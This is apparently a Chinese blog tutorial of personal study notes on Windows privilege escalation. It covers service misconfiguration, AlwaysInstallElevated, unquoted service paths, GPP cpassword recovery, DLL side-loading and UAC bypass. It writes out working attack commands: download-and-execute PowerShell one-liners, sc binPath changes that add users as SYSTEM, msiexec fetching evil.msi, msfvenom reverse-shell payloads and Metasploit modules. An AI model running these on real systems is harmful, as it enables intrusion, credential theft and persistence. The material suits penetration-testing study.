Windows权限提升

提权基础命令

# 查询系统信息和补丁信息
systeminfo 
wmic qfe get Description,HotFixID,InstalledOn

# 如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:"OS"

# 查询权限
whoami /all

# 查看当前安装程序
wmic product get name,version

系统内核溢出提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的 EXP 和它们的补丁编号,进行提升权限。

在线补丁查找

https://github.com/neargle/win-powerup-exp-index
http://blog.neargle.com/win-powerup-exp-index/
https://github.com/ianxtianxt/win-exp-
https://detect.secwx.com/

msf查找

# 第二个会直接给出exp利用模块,第一个只是说补丁
run post/windows/gather/enum_patches
run post/multi/recon/local_exploit_suggester

powershell查找

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1');Find-AllVulns;
powershell.exe -exec bypass -nop -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1');Find-AllVulns"
Import-Module Sherlock.ps1;Find-AllVulns;

配置不当造成的提权

Windows 系统服务文件在操作系统启动时加载并执行,并调用可执行文件。因此,如果一个低权限用户对这些调用的可执行文件拥有可写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限,但一般情况下,Windows 是以 System 权限执行的,因此,其文件夹、文件和注册表键值都是受到强访问控制机制保护的,但在某些情况下仍有些服务没有得到有效保护。

系统服务权限配置错误

accesschk实战

下载地址:https://download.sysinternals.com/files/SysinternalsSuite.zip

  • 用 accesschk.exe 工具查看当前用户可修改的服务:

accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //XXX为当前用户名
如果出现 SERVICE_ALL_ACCESS 则表示当前用户拥有修改该服务的权限
image.png
查看它启动时候的权限
sc qc wudfsvc
image.png
然后修改我们执行文件路径为我们想要的代码

# 注意这里的"="后面要留有空格
sc config wudfsvc binPath= "net user test1 abc123! /add"  

# 查看查询该服务的执行路径是否修改成功
sc qc wudfsvc  

image.png
重启服务

sc stop wudfsvc
sc start wudfsvc

但是有杀软 这个问题就下篇解决
image.png
但要注意这里启动时会报错,因为当一个服务在 Windows 系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。但是我们的命令已经以 SYSTEM 权限运行了,并且成功添加了一个用户。
image.png
还有个tips就是可以利用icacls 确定权限

icacls "C:\Program Files"

「M」表示修改、「F」表示完全控制
「CI」代表从属容器将继承访问控制项
「OI」代表从属文件将继承访问控制项

PowerUp实战

powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
powershell.exe -exec bypass -Command "& {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}" > 1.txt

然后回列出很多可能存在的问题,比上面accesschk工具丰富。
image.png

  • ServiceName:可能存在漏洞的服务
  • Path:该服务的可执行程序的路径
  • StartName:服务运行账号
  • AbuseFunction:利用方式

这里就用AbuseFunction为例中的利用脚本,以MozillaMaintenace为例。添加一个test2用户
然后必须重启该服务才可以生效。

//添加账号
powershell.exe -exec bypass -Command "& {Import-Module ./PowerUp.ps1; Install-ServiceBinary -ServiceName 'MozillaMaintenance' -Username test2 -Password 123456}"
//自定义命令 把上面-Usernmae换成下面这个
-Command "net ..."

image.png
其他用法请参考:https://evi1cg.me/archives/Powerup.html

metasploit实战

use exploit/windows/local/service_permissions
set AGGRESSIVE true
set session 1
exploit

注册表键AlwayInstaIIElevated配置不当

注册表键 AlwaysInstallElevated 是一个策略设置项,Window 允许低权限用户以 System 权限运行 MSI 安装文件,如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM 权限来运行恶意的 MSI 文件

查询

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

未启用 AlwaysInstallElevated 策略,返回结果为:「找不到指定的注册表项或值」

开启

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

PowerUp实战

这里以添加用户为例子,如果自定义命令请查看手册或者https://evi1cg.me/archives/Powerup.html

powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Get-RegAlwaysInstallElevated;"

如果返回true就说明设置错误。然后我们执行Write-UserAddMSI
本地执行:msiexec /q /i C:\msi.msi

  • /i 参数用来表示安装操作
  • /q 参数用来隐藏安装界面

并且 MSIEXEC 也可以实现无落地文件的方式进行木马上线的方式,当然低权限用不了,因为 msi 文件需要可信的证书才能远程利用 AlwaysInstallElevated 提权:msiexec /q /i [http://ip/evil.msi](http://ip/evil.msi)
image.png
不知道什么原因我还是会出现GUI[狗头] 点击一下才会创建。

metasploit实战

获得一个Session后使用use exploit/windows/local/always_install_elevated会自动返回System权限的meterpreter,该模块会创建一个文件名随机的MSI文件,并提权后删除部署的文件。

未使用双引号的服务路径

实用度较差,原理:
可信任服务路径漏洞利用了 Windows 文件路径解析的特性,如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,同时攻击者该文件路径有可写权限,攻击者就可以上传文件来劫持路径名,例如这个程序

C:\Program Files\floder1\service.exe

因为空格的存在,Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找

C:\Program.exe 
C:\Program Files\Some.exe 
C:\Program Files\Some Folder\Service.exe

此时如果我们对 C:\路径或者 C:\Program Files 有可写的权限,就可以上传 Program.exe 或 Some.exe 程序到相应目录下,当服务重新启动时,就会以 System 权限执行我们上传的恶意程序。
我们用一下命令搜索那些服务没有包含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

利用条件还得某一个文件夹有写入权限。使用icacls 工具检测。然后目录下放入木马,然后重启该服务或者等待管理员重启服务器。上线就是高权限,还有就是如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯,就会被停止,所以拿到shell之后必须转移我们的进程。

计划任务

如果攻击者对以高权限运行的计划任务所在目录具有所写权限,就可以使用恶意程序覆盖原来的程序,这样,在计划任务下次执行时就会以高权限来运行恶意程序。

cmd:
schtasks /query /fo list /v
powershell:
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}} 

如果攻击者对某个高权限的计划任务所在的路径有可写权限,可使用恶意程序覆盖原来的程序,当计划任务下次执行时,就会以高权限运行恶意程序。

自动安装配置文件

网络管理员在内网配置多个同环境时候。使用脚本配置,会使用安装配置文件,一些 安装文件中含有用户的明文或 base64 编码后的密文

dir /s *sysprep.inf *sysprep.xml *unattend.xml *unattend.txt 2>nul

常见位置:

  • C:\sysprep.inf
  • C:\sysprep\sysprep.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml
  • C:\Windows\Panther\Unattend\Unattended.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windos\System32\sysprep\unattend.xml
  • C:\Windows\System32\Sysprep\Panther\unattend.xml

组策略首选项提权

看这个文章吧策略组提权.html
SYSVOL 是活动目录里的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控之间进行复制,SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录域范围内共享,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies\ 目录中。
管理员在域中新建一个组策略后,系统会自动在 SYSVOL 目录中生成一个 XML 文件。
该文件中保存了该组策略更新后的密码,该密码使用 AES-256 算法,但 2012 年微软公布了该密码的私钥,也就是说任何人都可以对其进行解密。

查找包含cpassword的xml

手动查找或者cmd查找

findstr /s /i "cpassword" C:\Windows\SYSVOL\*.xml

powershell脚本

PowerSploit 项目中提供了 Get-GPPPassword.ps1 脚本。
脚本下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

直接远程下载脚本执行:

PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
//受限用绕过
powershell.exe -exec bypass -command "&{Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword}"

这里安利一个https://ghproxy.com/加速的站点

MSF获取cpassword

MSF中 post/windows/gather/credentials/gpp 模块可以获取组策略中的密码。注意,我们只需要获取域内任何一台以域用户权限登录的机器的权限即可。

use post/windows/gather/credentials/gpp
set session 1
run

解密cpassword 密文

Gpprefdecrypt.py 下载地址:https://raw.githubusercontent.com/leonteale/pentestpackage/master/Gpprefdecrypt.py

DLL劫持提权

动态链接库DLL在Windows中很多应用程序不是一个完整的执行程序,他们被分为一些相对独立的动态链接库,放置系统中。当执行某一个程序的时候相应的DLL就会被调用,当然一个DLL也可以被多个程序调用。详细原理:https://www.anquanke.com/post/id/225911

DLL加载顺序

在 XP SP2 之后,添加了一个 SafeDllSearchMode 的注册表属性。注册表路径如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

当SafeDllSearchMode 的值设置为 1,即安全 DLL 搜索模式开启时,查找 DLL 的目录顺序如下:

  • 1、应用程序加载的目录
  • 2、C:\Windows\System32
  • 3、C:\Windows\System
  • 4、C:\Windows
  • 5、当前工作目录Current Working Directory,CWD
  • 6、在PATH环境变量的目录(先系统后用户)

后面微软又加强了一次,将一些容易劫持的DLL放进了注册表,那么凡是此项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,都会从SYSTEM32调用路径。注册表如下

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

DLL加载过程分析

Process Monitor 是 Windows 的高级监视工具,可显示实时文件系统,注册表和进程/线程活动。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-utilities
Process Monitor Filter 是用于过滤应用程序输出的一部分功能,可以使得进程事件结果成为你想要的内容。然后就可以看到他运行加载了那些dll文件,用火绒剑也是一样的。左边火绒剑,右边Process Monitor
image.png
系统文件一般是更改不掉的,我们这里就选择未知文文件就好了。

MSF实战

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > a.dll

然后去替换我们的DLL然后 kali监听结果是失败的。
image.png
于是我们就有了下面的方法

DLL Side-Loading(DLL Proxy Loading)

DLL Side-Loading 与 DLL 劫持非常相似。但是,它不会破坏原始程序的执行流程或功能。,将恶意程序隐藏在合法应用程序之后,同时也可以利用该方法维持权限。
流程图
image.png

  • 启动时,应用程序 A 需要使用名为 GetFunkyData() 的第三方函数来获取数据,GetFunkyData() 存在于动态链接库中,该动态链接库位于应用程序的工作目录中,名为 DataFunctions_Original.dll (B)。
  • 应用程序 A 以其名称加载库 DataFunctions.dll,以尝试执行 GetFunkyData()。 该 DLL 实际上是攻击者专门设计的“代理”库,代理 DLL 使用将函数调用重定向到原始 DLL“ DataFunctions_Original.dll”(B)。
  • 此时,攻击者已经劫持了执行流程(C),并且可以代表运行中的进程(E)执行代码,而无需用户或应用程序的了解。

利用过程

msf生成一个代码

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.65 LPORT=4444 -f raw > shell.bin

然后下载项目地址:https://github.com/Flangvik/SharpDllProxy
直接VS编译好
image.png
使用SharpDllProxy.dll生成一个假冒的ipdbhlp.dll。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.\SharpDllProxy.exe --dll ipdbhlp.dll --payload shell.bin
然后生成文件包含了一个C文件和一个DLL文件,这个DLL就是原来的DLL文件
然后我们打开VS编译上面的C文件。文件---》新建---》项目---》动态链接库--》然后将C代码复制过去编译
image.png
到这里其实就可以这种骚操作来进行免杀了 也可以将shellcode写进去就好了
然后生成好之后将下面三个文件拷贝过去
image.png
然后直接运行就OK,直接上线。
image.png

自动化工具监测

rattler

https://github.com/sensepost/rattler
实现思路:

  • 枚举进程调用的 dll 列表,解析出 dll 的名称
  • 将测试 dll 分别重命名为列表中的 dll 名称
  • 再次启动程序,检测是否成功创建进程 calc.exe,如果成功,代表存在漏洞,否则不存在

管理员权限的 cmd 下运行命令:Rattler.exe [待检测程序名称] 1
个人测试了几个可以成功的但是都是失败了。。。

ChkDllHijack

1.下载地址:[https://github.com/anhkgg/anhkgg-tools]
2.使用windbg导出module
然后打开chkDllHijack,粘贴处要验证的DLL内容,失败就是下面这种
image.png

PowerUp监测

powershell.exe -exec bypass -Command "& {Import-Module ./PowerUp.ps1; Find-PathHijack}"

Bypass UAC

这里就简单记录一下用法吧,原理等后面再学习。

概念及其运行原理

Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。
换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

运行:
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
image.png
在开启了UAC之后,如果用户是标准用户, Windows 会给用户分配一个标准Access Token.
如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌具体的表现形式是如下图,当我们需要其他特权的时候,会弹出窗口,询问你是否要允许以下程序对此计算机更改?如果你有完整的访问令牌(即,你以设备管理员的身份登录,或者你属于管理员组),则可以选择是,然后继续进行。但是,如果已为你分配了标准的用户访问令牌,则会提示你输入具有特权的管理员的凭据
image.png

UAC需要授权的情况

  • 1.配置Window Update
  • 2.增加或删除用户账户
  • 3.改变用户的账户类型
  • 4.改变UAC设置
  • 5.安装ActiveX
  • 6.安装或移除程序
  • 8.设置家长控制
  • 9.将文件移动或复制到Prigram Files或Windwos目录
  • 10.查看其他用户文件夹

UACME

工具地址:https://github.com/hfiref0x/UACME,内含 70+ 种 BypassUAC 的方法
项目里包含了很多不同种类的方法,其中Dll Hijack 、Registry key manipulation、Elevated COM interface这三种方法是项目中出现的较多且好用的,对应23、33、41这三个方法号
clone 到本地后,用 VS2019 打开,选择 uacme.vcxproj,以 Release|x64 去 build,然后 ctrl+b build 项
然后我们去WIN7下运行,发现成功BypassUAC
image.png

Nishang中的Invoke-PsUACme

他是powershell版本的该脚本的所使用的DLL来自于开源项目UACME。nishang作者对代码进行了一下简单地修改。脚本地址:https://github.com/samratashok/nishang/blob/master/Escalation/Invoke-PsUACme.ps1

Invoke-PsUACme -Verbose

image.png

MSF

Windows权限升级绕过UAC保护

此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

use exploit/windows/local/bypassuac

Windows权限提升绕过UAC保护(内存注入)

此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()。

use exploit/windows/local/bypassuac_injection

绕过Windows UAC保护(通过FodHelper注册表项)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

use exploit/windows/local/bypassuac_fodhelper

Windows权限升级绕过UAC保护(通过Eventvwr注册表项)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。

use exploit/windows/local/bypassuac_eventvwr

Windows权限升级绕过UAC保护(通过COM处理程序劫持)

此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

 use exploit/windows/local/bypassuac_comhijack

土豆家族

见下一篇学习
https://www.geekby.site/2020/08/potato%E5%AE%B6%E6%97%8F%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90/

无凭证条件下的权限提升

待学习:Responder.py:https://github.com/SpiderLabs/Responder.git

参考

https://www.cnblogs.com/charon1937/p/13713122.html
https://blog.csdn.net/weixin_44032232/article/details/114366001
https://www.anquanke.com/post/id/225911#h2-0
https://segmentfault.com/a/1190000040565520?sort=newest#item-3
https://mp.weixin.qq.com/s/GzYWhDhUO26DjYGxLw4sMA
https://www.geekby.site/2021/01/windows%E6%8F%90%E6%9D%83%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/#1-%E5%89%8D%E8%A8%80
https://www.freebuf.com/articles/web/281863.html
https://bbs.pediy.com/thread-259636.htm
UAC
https://www.freebuf.com/articles/web/288239.html
https://bbs.pediy.com/thread-266375.htm
https://www.anquanke.com/post/id/216808
https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/
https://www.cnblogs.com/backlion/p/10552137.html
posted @ 2022-03-26 20:13  R0ser1  阅读(1440)  评论(0编辑  收藏  举报